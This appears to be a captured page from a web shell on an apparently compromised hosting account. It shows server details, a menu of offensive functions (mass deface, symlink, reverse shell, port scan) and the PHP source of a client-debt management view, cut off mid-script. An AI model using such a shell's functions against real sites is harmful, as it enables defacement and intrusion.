Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
app
/
views
/
clientes
/
Viewing: show.php
<?php $success = $success ?? null; $error = $error ?? null; $saldoTotal = floatval($cliente['saldo_total'] ?? 0); $saldoPagado = floatval($cliente['saldo_pagado'] ?? 0); $saldoPendiente= floatval($cliente['saldo_pendiente'] ?? 0); $porcentaje = $saldoTotal > 0 ? round(($saldoPagado / $saldoTotal) * 100) : 0; ?> <!-- Breadcrumb --> <nav aria-label="breadcrumb" class="mb-3"> <ol class="breadcrumb" style="font-size: 0.85rem;"> <li class="breadcrumb-item"><a href="<?= BASE_URL ?>/clientes" style="color: var(--primary);">Clientes</a></li> <li class="breadcrumb-item active"><?= htmlspecialchars($cliente['nombre'] . ' ' . $cliente['apellido']) ?></li> </ol> </nav> <?php if ($success): ?> <div class="alert alert-success alert-dismissible fade show d-flex align-items-center" role="alert" style="border: none; border-radius: 10px; border-left: 4px solid #06d6a0;"> <i class="bi bi-check-circle-fill me-2"></i><?= htmlspecialchars($success) ?> <button type="button" class="btn-close" data-bs-dismiss="alert"></button> </div> <?php endif; ?> <?php if ($error): ?> <div class="alert alert-danger alert-dismissible fade show d-flex align-items-center" role="alert" style="border: none; border-radius: 10px; border-left: 4px solid #ef476f;"> <i class="bi bi-exclamation-circle-fill me-2"></i><?= htmlspecialchars($error) ?> <button type="button" class="btn-close" data-bs-dismiss="alert"></button> </div> <?php endif; ?> <div class="row g-4"> <!-- =============================== --> <!-- DATOS DEL CLIENTE --> <!-- =============================== --> <div class="col-lg-4"> <div class="card-custom" style="height: 100%;"> <div class="card-header-custom"> <h5><i class="bi bi-person me-2"></i>Datos del Cliente</h5> <a href="<?= BASE_URL ?>/clientes/edit/<?= $cliente['id'] ?>" class="btn btn-sm btn-outline-primary" style="border-radius: 6px;"> <i class="bi bi-pencil"></i> </a> </div> <div class="card-body-custom"> <!-- Avatar --> <div class="text-center mb-4"> <?php $hasFoto = !empty($cliente['foto']); ?> <div class="user-avatar-large-profile"> <?php if ($hasFoto): ?> <img src="<?= BASE_URL ?>/public/assets/uploads/clientes/<?= htmlspecialchars($cliente['foto']) ?>" alt="<?= htmlspecialchars($cliente['nombre']) ?>"> <?php else: ?> <span class="avatar-placeholder-large"> <?= strtoupper(substr($cliente['nombre'], 0, 1) . substr($cliente['apellido'] ?? '', 0, 1)) ?> </span> <?php endif; ?> </div> <h5 style="font-weight: 700; margin-bottom: 2px; color: #111827;"><?= htmlspecialchars($cliente['nombre'] . ' ' . ($cliente['apellido'] ?? '')) ?></h5> <span class="badge-modern badge-soft-success" style="font-size: 0.7rem;">CLIENTE ACTIVO</span> </div> <!-- Info --> <div class="d-flex flex-column gap-3"> <?php if (!empty($cliente['cedula'])): ?> <div class="d-flex align-items-center gap-3"> <div style="width: 36px; height: 36px; background: rgba(67,97,238,0.08); border-radius: 8px; display: flex; align-items: center; justify-content: center;"> <i class="bi bi-credit-card-2-front" style="color: var(--primary);"></i> </div> <div> <div style="font-size: 0.72rem; color: var(--text-muted); text-transform: uppercase; letter-spacing: 0.5px;">Cédula</div> <div style="font-size: 0.9rem; font-weight: 500;"><?= htmlspecialchars($cliente['cedula']) ?></div> </div> </div> <?php endif; ?> <?php if (!empty($cliente['telefono'])): ?> <div class="d-flex align-items-center gap-3"> <div style="width: 36px; height: 36px; background: rgba(6,214,160,0.08); border-radius: 8px; display: flex; align-items: center; justify-content: center;"> <i class="bi bi-telephone" style="color: var(--success);"></i> </div> <div> <div style="font-size: 0.72rem; color: var(--text-muted); text-transform: uppercase; letter-spacing: 0.5px;">Teléfono</div> <div style="font-size: 0.9rem; font-weight: 500;"><?= htmlspecialchars($cliente['telefono']) ?></div> </div> </div> <?php endif; ?> <?php if (!empty($cliente['email'])): ?> <div class="d-flex align-items-center gap-3"> <div style="width: 36px; height: 36px; background: rgba(17,138,178,0.08); border-radius: 8px; display: flex; align-items: center; justify-content: center;"> <i class="bi bi-envelope" style="color: var(--info);"></i> </div> <div> <div style="font-size: 0.72rem; color: var(--text-muted); text-transform: uppercase; letter-spacing: 0.5px;">Email</div> <div style="font-size: 0.9rem; font-weight: 500;"><?= htmlspecialchars($cliente['email']) ?></div> </div> </div> <?php endif; ?> <?php if (!empty($cliente['direccion'])): ?> <div class="d-flex align-items-center gap-3"> <div style="width: 36px; height: 36px; background: rgba(255,209,102,0.12); border-radius: 8px; display: flex; align-items: center; justify-content: center;"> <i class="bi bi-geo-alt" style="color: var(--warning);"></i> </div> <div> <div style="font-size: 0.72rem; color: var(--text-muted); text-transform: uppercase; letter-spacing: 0.5px;">Dirección</div> <div style="font-size: 0.9rem; font-weight: 500;"><?= htmlspecialchars($cliente['direccion']) ?></div> </div> </div> <?php endif; ?> <div class="d-flex align-items-center gap-3"> <div style="width: 36px; height: 36px; background: rgba(114,9,183,0.08); border-radius: 8px; display: flex; align-items: center; justify-content: center;"> <i class="bi bi-calendar3" style="color: var(--secondary);"></i> </div> <div> <div style="font-size: 0.72rem; color: var(--text-muted); text-transform: uppercase; letter-spacing: 0.5px;">Registrado</div> <div style="font-size: 0.9rem; font-weight: 500;"><?= date('d/m/Y', strtotime($cliente['fecha_registro'])) ?></div> </div> </div> </div> <!-- Recordatorio y Comprobante --> <div class="mt-4 pt-3" style="border-top: 1px solid var(--border-color);"> <div class="d-flex flex-column gap-2"> <?php if ($saldoPendiente > 0 && !empty($cliente['telefono'])): ?> <button class="btn btn-sm btn-outline-warning w-100" id="btnRecordatorio" style="border-radius: 8px; padding: 10px;"> <i class="bi bi-chat-dots me-1"></i> Generar Recordatorio </button> <?php endif; ?> <button class="btn btn-sm btn-outline-success w-100" id="btnGenerarComprobante" style="border-radius: 8px; padding: 10px;"> <i class="bi bi-receipt me-1"></i> Generar Comprobante Pago </button> </div> <!-- Area de Mensajes Generados --> <div id="mensajeGeneradoArea" class="mt-3" style="display: none;"> <div style="background: var(--bg-body); border-radius: 10px; padding: 14px; border: 1px solid var(--border-color);"> <div class="d-flex justify-content-between align-items-center mb-2"> <div style="font-size: 0.72rem; color: var(--text-muted); text-transform: uppercase; letter-spacing: 0.5px;"> <i class="bi bi-chat-left-text me-1"></i>Mensaje para WhatsApp </div> <span id="tipoMensajeBadge" class="badge rounded-pill" style="font-size: 0.6rem;"></span> </div> <p id="textoMensajeGenerado" style="font-size: 0.88rem; margin-bottom: 12px; line-height: 1.5; white-space: pre-line;"></p> <div class="d-flex gap-2"> <button class="btn btn-sm btn-primary-custom flex-grow-1" id="btnEnviarWhatsApp" style="border-radius: 8px; font-size: 0.8rem;"> <i class="bi bi-whatsapp me-1"></i> Enviar </button> <button class="btn btn-sm btn-outline-secondary" id="btnCopiarMensaje" style="border-radius: 8px; font-size: 0.8rem;"> <i class="bi bi-clipboard"></i> </button> </div> </div> </div> </div> </div> </div> </div> <!-- =============================== --> <!-- PANEL FINANCIERO --> <!-- =============================== --> <div class="col-lg-8"> <!-- Tarjetas de saldo --> <div class="row g-3 mb-4"> <div class="col-md-4"> <div class="stat-card info"> <div class="stat-card-header"> <span class="stat-card-title">Saldo Total</span> <div class="stat-card-icon info"><i class="bi bi-wallet2"></i></div> </div> <div class="stat-card-value" style="font-size: 1.5rem;">$<?= number_format($saldoTotal, 2) ?></div> <div class="stat-card-change">Deuda asignada</div> </div> </div> <div class="col-md-4"> <div class="stat-card success"> <div class="stat-card-header"> <span class="stat-card-title">Pagado</span> <div class="stat-card-icon success"><i class="bi bi-check-circle"></i></div> </div> <div class="stat-card-value" style="font-size: 1.5rem; color: var(--success);">$<?= number_format($saldoPagado, 2) ?></div> <div class="stat-card-change"><span class="up"><?= $porcentaje ?>%</span> completado</div> </div> </div> <div class="col-md-4"> <div class="stat-card <?= $saldoPendiente > 0 ? 'danger' : 'success' ?>"> <div class="stat-card-header"> <span class="stat-card-title">Pendiente</span> <div class="stat-card-icon <?= $saldoPendiente > 0 ? 'danger' : 'success' ?>"> <i class="bi bi-<?= $saldoPendiente > 0 ? 'exclamation-circle' : 'check-circle' ?>"></i> </div> </div> <div class="stat-card-value" style="font-size: 1.5rem; color: <?= $saldoPendiente > 0 ? 'var(--danger)' : 'var(--success)' ?>;"> $<?= number_format($saldoPendiente, 2) ?> </div> <div class="stat-card-change"><?= $saldoPendiente > 0 ? 'Por cobrar' : '¡Al día!' ?></div> </div> </div> </div> <!-- Barra de progreso --> <?php if ($saldoTotal > 0): ?> <div class="card-custom mb-4"> <div class="card-body-custom" style="padding: 16px 24px;"> <div class="d-flex justify-content-between mb-2"> <span style="font-size: 0.82rem; font-weight: 500;">Progreso de pago</span> <span style="font-size: 0.82rem; font-weight: 600; color: var(--primary);"><?= $porcentaje ?>%</span> </div> <div class="progress" style="height: 10px; border-radius: 10px; background: var(--bg-body);"> <div class="progress-bar" role="progressbar" style="width: <?= $porcentaje ?>%; background: <?= $porcentaje >= 100 ? 'var(--success)' : 'var(--primary)' ?>; border-radius: 10px;" aria-valuenow="<?= $porcentaje ?>" aria-valuemin="0" aria-valuemax="100"></div> </div> </div> </div> <?php endif; ?> <!-- Actualizar Saldo Total --> <div class="card-custom mb-4"> <div class="card-header-custom"> <h5><i class="bi bi-wallet2 me-2"></i>Ajustar Deuda Total</h5> </div> <div class="card-body-custom"> <form action="<?= BASE_URL ?>/clientes/saldo/<?= $cliente['id'] ?>" method="POST" class="d-flex gap-2 align-items-end"> <div class="flex-grow-1"> <label class="form-label fw-semibold" style="font-size: 0.82rem;">Nuevo Saldo Total</label> <div class="input-group"> <span class="input-group-text" style="border-radius: 8px 0 0 8px;">$</span> <input type="number" class="form-control" name="saldo_total" step="0.01" min="0" value="<?= $saldoTotal ?>" style="border-radius: 0 8px 8px 0; padding: 10px 14px;"> </div> </div> <button type="submit" class="btn btn-primary-custom" style="height: 48px;"> <i class="bi bi-arrow-repeat me-1"></i> Actualizar </button> </form> </div> </div> <!-- Registrar Pago --> <div class="card-custom mb-4"> <div class="card-header-custom"> <h5><i class="bi bi-cash-stack me-2"></i>Registrar Pago</h5> </div> <div class="card-body-custom"> <form action="<?= BASE_URL ?>/pagos/store" method="POST"> <input type="hidden" name="cliente_id" value="<?= $cliente['id'] ?>"> <div class="row g-3"> <div class="col-md-4"> <label class="form-label fw-semibold" style="font-size: 0.82rem;">Monto <span class="text-danger">*</span></label> <div class="input-group"> <span class="input-group-text" style="border-radius: 8px 0 0 8px;">$</span> <input type="number" class="form-control" name="monto" step="0.01" min="0.01" placeholder="0.00" required style="border-radius: 0 8px 8px 0; padding: 10px 14px;"> </div> </div> <div class="col-md-4"> <label class="form-label fw-semibold" style="font-size: 0.82rem;">Método de Pago</label> <select class="form-select" name="metodo_pago" style="border-radius: 8px; padding: 10px 14px;"> <?php $tiposPago = $tiposPago ?? []; if (empty($tiposPago)): ?> <option value="efectivo">Efectivo</option> <option value="transferencia">Transferencia</option> <option value="tarjeta">Tarjeta</option> <option value="otro">Otro</option> <?php else: ?> <?php foreach ($tiposPago as $tp): ?> <option value="<?= htmlspecialchars($tp['slug']) ?>"> <?= htmlspecialchars($tp['nombre']) ?> </option> <?php endforeach; ?> <?php endif; ?> </select> </div> <div class="col-md-4"> <label class="form-label fw-semibold" style="font-size: 0.82rem;">Descripción</label> <input type="text" class="form-control" name="descripcion" placeholder="Ej: Pago parcial" style="border-radius: 8px; padding: 10px 14px;"> </div> </div> <div class="mt-3"> <button type="submit" class="btn btn-primary-custom"> <i class="bi bi-plus-circle me-1"></i> Registrar Pago </button> </div> </form> </div> </div> <!-- =============================== --> <!-- TRABAJOS PENDIENTES (DESGLOSADOS) --> <!-- =============================== --> <div class="card-custom mb-4 overflow-hidden"> <div class="card-header-custom d-flex justify-content-between align-items-center"> <div> <h5 class="mb-0"><i class="bi bi-tools me-2"></i>Seguimiento de Trabajos</h5> <p class="text-muted small mb-0 mt-1">Gestión detallada de tareas para este cliente</p> </div> <button type="button" class="btn btn-sm btn-primary-custom" data-bs-toggle="modal" data-bs-target="#addJobModal" style="border-radius: 10px; padding: 8px 16px;"> <i class="bi bi-plus-lg me-1"></i> Nuevo Trabajo </button> </div> <div class="card-body-custom p-0"> <div id="jobsContainer"> <?php if (empty($trabajos)): ?> <div class="text-center py-5"> <div class="mb-3"> <i class="bi bi-clipboard-x text-muted opacity-25" style="font-size: 4rem;"></i> </div> <h6 class="text-muted fw-bold">No hay trabajos registrados</h6> <p class="text-muted small">Registra las tareas pendientes para llevar un control profesional.</p> </div> <?php else: ?> <div class="job-timeline p-4"> <?php foreach ($trabajos as $job): ?> <div class="job-card mb-4 position-relative" id="job-<?= $job['id'] ?>"> <!-- Línea de tiempo vertical --> <div class="timeline-line"></div> <div class="job-content p-3 rounded-4 border bg-white shadow-sm hover-shadow transition-all" style="margin-left: 20px; border-left: 4px solid <?= $job['estado'] === 'completado' ? '#06d6a0' : ($job['prioridad'] === 'alta' ? '#ef476f' : '#4361ee') ?> !important;"> <!-- Punto en la línea de tiempo --> <div class="timeline-dot" style="background: <?= $job['estado'] === 'completado' ? '#06d6a0' : ($job['prioridad'] === 'alta' ? '#ef476f' : '#4361ee') ?>;"></div> <div class="d-flex justify-content-between align-items-start mb-2"> <div class="d-flex align-items-center gap-2"> <?php $pClasses = ['baja' => 'badge-soft-success', 'media' => 'badge-soft-warning', 'alta' => 'badge-soft-danger']; $pc = $pClasses[$job['prioridad']] ?? 'badge-soft-warning'; ?> <span class="badge-modern <?= $pc ?>" style="font-size: 0.65rem; text-transform: uppercase; font-weight: 700; letter-spacing: 0.5px;"> <?= $job['prioridad'] ?> </span> <span class="text-muted" style="font-size: 0.75rem;"><i class="bi bi-calendar-event me-1"></i><?= date('d/m/Y', strtotime($job['fecha_creacion'])) ?></span> </div> <div class="dropdown"> <button class="btn btn-link btn-sm p-0 text-muted" data-bs-toggle="dropdown" aria-expanded="false"> <i class="bi bi-three-dots-vertical"></i> </button> <ul class="dropdown-menu dropdown-menu-end border-0 shadow-sm" style="border-radius: 12px;"> <li><a class="dropdown-item text-danger delete-job" href="#" data-id="<?= $job['id'] ?>"><i class="bi bi-trash me-2"></i>Eliminar</a></li> </ul> </div> </div> <p class="job-desc mb-3 <?= $job['estado'] === 'completado' ? 'text-decoration-line-through text-muted' : 'fw-semibold text-dark' ?>" style="font-size: 0.95rem; line-height: 1.5;"> <?= htmlspecialchars($job['descripcion']) ?> </p> <div class="d-flex align-items-center justify-content-between pt-3 mt-2 border-top"> <div class="job-status-actions"> <div class="input-group input-group-sm" style="width: 160px;"> <label class="input-group-text bg-light border-end-0" style="font-size: 0.7rem; border-radius: 8px 0 0 8px;">Estado</label> <select class="form-select job-status-select" data-id="<?= $job['id'] ?>" style="font-size: 0.75rem; border-radius: 0 8px 8px 0; font-weight: 600;"> <option value="pendiente" <?= $job['estado'] === 'pendiente' ? 'selected' : '' ?>>Pendiente</option> <option value="en_progreso" <?= $job['estado'] === 'en_progreso' ? 'selected' : '' ?>>En Progreso</option> <option value="completado" <?= $job['estado'] === 'completado' ? 'selected' : '' ?>>Completado</option> </select> </div> </div> <div class="status-indicator d-flex align-items-center gap-2"> <?php if ($job['estado'] === 'completado'): ?> <div class="badge-modern badge-soft-success d-flex align-items-center gap-1" style="font-size: 0.7rem;"> <i class="bi bi-check-all" style="font-size: 1rem;"></i> Finalizado el <?= date('d/m/Y', strtotime($job['fecha_completado'])) ?> </div> <?php elseif ($job['estado'] === 'en_progreso'): ?> <div class="badge-modern badge-soft-primary d-flex align-items-center gap-1 animate__animated animate__pulse animate__infinite" style="font-size: 0.7rem;"> <span class="spinner-grow spinner-grow-sm" role="status" aria-hidden="true" style="width: 8px; height: 8px;"></span> Trabajando en ello... </div> <?php else: ?> <div class="badge-modern badge-soft-warning" style="font-size: 0.7rem;"> <i class="bi bi-hourglass-split me-1"></i>En espera </div> <?php endif; ?> </div> </div> </div> </div> <?php endforeach; ?> </div> <?php endif; ?> </div> </div> </div> <style> .job-timeline { position: relative; } .timeline-line { position: absolute; left: 31px; top: 20px; bottom: 20px; width: 2px; background: #e5e7eb; z-index: 0; } .timeline-dot { position: absolute; left: -28px; top: 15px; width: 14px; height: 14px; border-radius: 50%; border: 3px solid white; box-shadow: 0 0 0 3px rgba(0,0,0,0.05); z-index: 1; } .job-card:last-child .timeline-line { display: none; } .hover-shadow:hover { box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.1), 0 4px 6px -2px rgba(0, 0, 0, 0.05) !important; transform: translateY(-2px); } .transition-all { transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); } .border-dashed { border: 2px dashed #e5e7eb !important; } </style> <!-- Historial de Pagos --> <div class="card-custom"> <div class="card-header-custom"> <h5><i class="bi bi-clock-history me-2"></i>Historial de Pagos</h5> <?php if (!empty($pagos)): ?> <span class="badge bg-primary" style="font-size: 0.75rem;"><?= count($pagos) ?> pagos</span> <?php endif; ?> </div> <div class="card-body-custom p-0"> <?php if (empty($pagos)): ?> <div class="text-center py-5"> <i class="bi bi-clock-history text-muted" style="font-size: 2rem;"></i> <p class="text-muted mt-2" style="font-size: 0.88rem;">No hay pagos registrados</p> </div> <?php else: ?> <div class="table-responsive"> <table class="table-custom"> <thead> <tr> <th>Fecha</th> <th>Monto</th> <th>Método</th> <th class="d-none d-md-table-cell">Descripción</th> <th class="text-end">Acciones</th> </tr> </thead> <tbody> <?php foreach ($pagos as $pago): ?> <tr> <td> <div> <div style="font-weight: 500;"><?= date('d/m/Y', strtotime($pago['fecha_pago'])) ?></div> <div style="font-size: 0.75rem; color: var(--text-muted);"><?= date('h:i A', strtotime($pago['fecha_pago'])) ?></div> </div> </td> <td> <span style="font-weight: 700; color: var(--success); font-size: 0.95rem;"> +$<?= number_format($pago['monto'], 2) ?> </span> </td> <td> <?php $metodoIcons = [ 'efectivo' => ['bi-cash', '#06d6a0'], 'transferencia' => ['bi-bank', '#4361ee'], 'tarjeta' => ['bi-credit-card', '#7209b7'], 'otro' => ['bi-three-dots', '#636e72'], ]; $mi = $metodoIcons[$pago['metodo_pago']] ?? ['bi-three-dots', '#636e72']; ?> <span class="badge" style="background: <?= $mi[1] ?>15; color: <?= $mi[1] ?>; font-size: 0.78rem; padding: 5px 10px; border-radius: 6px;"> <i class="bi <?= $mi[0] ?> me-1"></i><?= ucfirst($pago['metodo_pago']) ?> </span> </td> <td class="d-none d-md-table-cell"> <span class="text-muted" style="font-size: 0.85rem;"> <?= htmlspecialchars($pago['descripcion'] ?? '—') ?> </span> </td> <td class="text-end"> <div class="d-flex justify-content-end gap-1"> <button class="btn btn-sm btn-light whatsapp-pago" data-monto="<?= $pago['monto'] ?>" data-fecha="<?= date('d/m/Y', strtotime($pago['fecha_pago'])) ?>" style="border-radius: 6px; padding: 4px 8px;"> <i class="bi bi-whatsapp text-success"></i> </button> <button class="btn btn-sm btn-light edit-pago" data-id="<?= $pago['id'] ?>" data-monto="<?= $pago['monto'] ?>" data-metodo="<?= $pago['metodo_pago'] ?>" data-descripcion="<?= htmlspecialchars($pago['descripcion'] ?? '') ?>" style="border-radius: 6px; padding: 4px 8px;"> <i class="bi bi-pencil-square text-primary"></i> </button> <button class="btn btn-sm btn-light delete-pago" data-id="<?= $pago['id'] ?>" style="border-radius: 6px; padding: 4px 8px;"> <i class="bi bi-trash text-danger"></i> </button> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php endif; ?> </div> </div> <!-- =============================== --> <!-- ARCHIVOS Y DOCUMENTOS --> <!-- =============================== --> <div class="card-custom mt-4"> <div class="card-header-custom"> <h5><i class="bi bi-folder2-open me-2"></i>Archivos y Documentos</h5> <button type="button" class="btn btn-sm btn-primary-custom" data-bs-toggle="modal" data-bs-target="#uploadFileModal" style="border-radius: 8px;"> <i class="bi bi-upload me-1"></i> Subir Archivo </button> </div> <div class="card-body-custom"> <?php if (empty($archivos)): ?> <div class="text-center py-4"> <i class="bi bi-file-earmark-arrow-up text-muted opacity-25" style="font-size: 3rem;"></i> <p class="text-muted mt-2">No hay archivos adjuntos para este cliente.</p> </div> <?php else: ?> <div class="table-responsive"> <table class="table-custom"> <thead> <tr> <th>Archivo</th> <th class="d-none d-md-table-cell">Descripción</th> <th>Fecha</th> <th class="text-end">Acciones</th> </tr> </thead> <tbody> <?php foreach ($archivos as $archivo): ?> <tr> <td> <div class="d-flex align-items-center gap-2"> <?php $icon = 'bi-file-earmark'; $color = 'var(--text-muted)'; if (strpos($archivo['tipo_archivo'], 'image') !== false) { $icon = 'bi-file-earmark-image'; $color = 'var(--success)'; } elseif (strpos($archivo['tipo_archivo'], 'pdf') !== false) { $icon = 'bi-file-earmark-pdf'; $color = 'var(--danger)'; } elseif (strpos($archivo['tipo_archivo'], 'word') !== false) { $icon = 'bi-file-earmark-word'; $color = 'var(--primary)'; } elseif (strpos($archivo['tipo_archivo'], 'zip') !== false || strpos($archivo['tipo_archivo'], 'rar') !== false) { $icon = 'bi-file-earmark-zip'; $color = 'var(--warning)'; } ?> <i class="bi <?= $icon ?>" style="font-size: 1.2rem; color: <?= $color ?>;"></i> <div style="max-width: 200px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap;"> <span style="font-weight: 500; font-size: 0.9rem;"><?= htmlspecialchars($archivo['nombre_original']) ?></span> </div> </div> </td> <td class="d-none d-md-table-cell"> <span class="text-muted small"><?= htmlspecialchars($archivo['descripcion'] ?? '—') ?></span> </td> <td> <span class="text-muted small"><?= date('d/m/Y', strtotime($archivo['fecha_subida'])) ?></span> </td> <td class="text-end"> <div class="d-flex justify-content-end gap-1"> <a href="<?= BASE_URL ?>/archivos/download/<?= $archivo['id'] ?>" class="btn btn-sm btn-light" style="border-radius: 6px; padding: 4px 8px;" title="Descargar"> <i class="bi bi-download text-primary"></i> </a> <button class="btn btn-sm btn-light delete-archivo" data-id="<?= $archivo['id'] ?>" style="border-radius: 6px; padding: 4px 8px;" title="Eliminar"> <i class="bi bi-trash text-danger"></i> </button> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php endif; ?> </div> </div> </div> </div> <!-- Modal Subir Archivo --> <div class="modal fade" id="uploadFileModal" tabindex="-1" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content border-0 shadow-lg" style="border-radius: 20px;"> <div class="modal-header border-bottom-0 pt-4 px-4"> <h5 class="modal-title fw-bold"><i class="bi bi-upload me-2 text-primary"></i>Subir Archivo / Imagen</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <form action="<?= BASE_URL ?>/archivos/store" method="POST" enctype="multipart/form-data"> <input type="hidden" name="cliente_id" value="<?= $cliente['id'] ?>"> <div class="modal-body px-4"> <div class="mb-3"> <label class="form-label small fw-bold">Seleccionar Archivo <span class="text-danger">*</span></label> <input type="file" name="archivo" class="form-control" required style="border-radius: 12px; border: 1.5px solid #e5e7eb; padding: 12px;"> <p class="text-muted small mt-1">Puedes subir imágenes, PDFs, documentos Word, Excel, etc.</p> </div> <div class="mb-3"> <label class="form-label small fw-bold">Descripción (Opcional)</label> <textarea name="descripcion" class="form-control" rows="2" placeholder="Ej: Contrato firmado, Fotos de la instalación, etc." style="border-radius: 12px; border: 1.5px solid #e5e7eb;"></textarea> </div> </div> <div class="modal-footer border-top-0 pb-4 px-4 pt-3"> <button type="button" class="btn btn-light px-4" data-bs-dismiss="modal" style="border-radius: 12px;">Cancelar</button> <button type="submit" class="btn btn-primary-custom px-4" style="border-radius: 12px;">Subir Ahora</button> </div> </form> </div> </div> </div> <!-- Modal Editar Pago --> <div class="modal fade" id="editPagoModal" tabindex="-1" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content border-0 shadow-lg" style="border-radius: 20px;"> <div class="modal-header border-bottom-0 pt-4 px-4"> <h5 class="modal-title fw-bold"><i class="bi bi-pencil-square me-2 text-primary"></i>Editar Pago</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <form id="formEditPago" method="POST"> <div class="modal-body px-4"> <div class="mb-3"> <label class="form-label small fw-bold">Monto ($) <span class="text-danger">*</span></label> <input type="number" step="0.01" name="monto" id="editMonto" class="form-control" required style="border-radius: 12px; border: 1.5px solid #e5e7eb; height: 50px;"> </div> <div class="mb-3"> <label class="form-label small fw-bold">Método de Pago</label> <select name="metodo_pago" id="editMetodo" class="form-select" style="border-radius: 12px; border: 1.5px solid #e5e7eb; height: 50px;"> <?php $tiposPago = $tiposPago ?? []; if (empty($tiposPago)): ?> <option value="efectivo">💵 Efectivo</option> <option value="transferencia">🏦 Transferencia</option> <option value="tarjeta">💳 Tarjeta</option> <option value="otro">📑 Otro</option> <?php else: ?> <?php foreach ($tiposPago as $tp): ?> <option value="<?= htmlspecialchars($tp['slug']) ?>"> <?= htmlspecialchars($tp['nombre']) ?> </option> <?php endforeach; ?> <?php endif; ?> </select> </div> <div class="mb-3"> <label class="form-label small fw-bold">Descripción</label> <textarea name="descripcion" id="editDescripcion" class="form-control" rows="2" style="border-radius: 12px; border: 1.5px solid #e5e7eb;"></textarea> </div> </div> <div class="modal-footer border-top-0 pb-4 px-4 pt-3"> <button type="button" class="btn btn-light px-4" data-bs-dismiss="modal" style="border-radius: 12px;">Cancelar</button> <button type="submit" class="btn btn-primary-custom px-4" style="border-radius: 12px;">Actualizar Pago</button> </div> </form> </div> </div> </div> <!-- Modal Nuevo Trabajo --> <div class="modal fade" id="addJobModal" tabindex="-1" aria-hidden="true"> <div class="modal-dialog modal-lg modal-dialog-centered"> <div class="modal-content border-0 shadow-lg" style="border-radius: 20px; background: rgba(255, 255, 255, 0.95); backdrop-filter: blur(10px);"> <div class="modal-header border-bottom-0 pt-4 px-4"> <div> <h5 class="modal-title fw-bold" style="color: #111827;"><i class="bi bi-tools me-2 text-primary"></i>Registrar Trabajos</h5> <p class="text-muted small mb-0">Puedes agregar varios trabajos a la vez para este cliente.</p> </div> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <form id="formAddJob"> <div class="modal-body px-4"> <div id="jobsListContainer"> <div class="job-row mb-4 p-3 rounded-4 bg-light border-dashed position-relative"> <div class="row g-3"> <div class="col-md-8"> <label class="form-label small fw-bold">Descripción del Trabajo <span class="text-danger">*</span></label> <textarea class="form-control" name="descripciones[]" rows="2" placeholder="Ej: Reparación de aire acondicionado sala principal" required style="border-radius: 12px; border: 1.5px solid #e5e7eb;"></textarea> </div> <div class="col-md-4"> <label class="form-label small fw-bold">Prioridad</label> <select class="form-select" name="prioridades[]" style="border-radius: 12px; border: 1.5px solid #e5e7eb; height: 50px;"> <option value="baja">🟢 Baja</option> <option value="media" selected>🟡 Media</option> <option value="alta">🔴 Alta</option> </select> </div> </div> </div> </div> <button type="button" id="btnAddRow" class="btn btn-sm btn-outline-primary w-100 py-2 mt-2" style="border-radius: 12px; border-style: dashed;"> <i class="bi bi-plus-circle me-1"></i> Agregar otro trabajo </button> </div> <div class="modal-footer border-top-0 pb-4 px-4 pt-3"> <button type="button" class="btn btn-light px-4" data-bs-dismiss="modal" style="border-radius: 12px; font-weight: 500;">Cancelar</button> <button type="submit" class="btn btn-primary-custom px-4" style="border-radius: 12px; font-weight: 600; min-width: 160px;"> <i class="bi bi-save me-1"></i> Guardar Todo </button> </div> </form> </div> </div> </div> <script> document.addEventListener('DOMContentLoaded', function() { // --- Gestión de Pagos --- const editPagoBtns = document.querySelectorAll('.edit-pago'); const deletePagoBtns = document.querySelectorAll('.delete-pago'); const deleteArchivoBtns = document.querySelectorAll('.delete-archivo'); const whatsappPagoBtns = document.querySelectorAll('.whatsapp-pago'); const editPagoModal = new bootstrap.Modal(document.getElementById('editPagoModal')); const formEditPago = document.getElementById('formEditPago'); // --- Gestión de Archivos --- deleteArchivoBtns.forEach(btn => { btn.addEventListener('click', function() { const id = this.dataset.id; if (confirm('¿Estás seguro de que deseas eliminar este archivo permanentemente?')) { window.location.href = `<?= BASE_URL ?>/archivos/delete/${id}`; } }); }); whatsappPagoBtns.forEach(btn => { btn.addEventListener('click', function() { const monto = this.dataset.monto; const fecha = this.dataset.fecha; const restante = '<?= number_format($saldoPendiente, 2) ?>'; const msg = `✅ *Pago Recibido*\n\n💰 Monto: *$${monto}*\n📉 Restante: *${restante > 0 ? '$' + restante : '0 (Pagado)'}*\n📅 Fecha: ${fecha}\n\n¡Gracias por tu pago! 🚀`; mostrarMensaje(msg, 'comprobante'); }); }); editPagoBtns.forEach(btn => { btn.addEventListener('click', function() { const id = this.dataset.id; const monto = this.dataset.monto; const metodo = this.dataset.metodo; const descripcion = this.dataset.descripcion; document.getElementById('editMonto').value = monto; document.getElementById('editMetodo').value = metodo; document.getElementById('editDescripcion').value = descripcion; formEditPago.action = `<?= BASE_URL ?>/pagos/update/${id}`; editPagoModal.show(); }); }); deletePagoBtns.forEach(btn => { btn.addEventListener('click', function() { const id = this.dataset.id; if (confirm('¿Estás seguro de que deseas eliminar este pago? Esta acción recalculará el saldo del cliente.')) { window.location.href = `<?= BASE_URL ?>/pagos/delete/${id}`; } }); }); // --- Gestión de Trabajos Pendientes --- const jobsListContainer = document.getElementById('jobsListContainer'); const btnAddRow = document.getElementById('btnAddRow'); if (btnAddRow) { btnAddRow.addEventListener('click', function() { const newRow = document.createElement('div'); newRow.className = 'job-row mb-4 p-3 rounded-4 bg-light border-dashed position-relative animate__animated 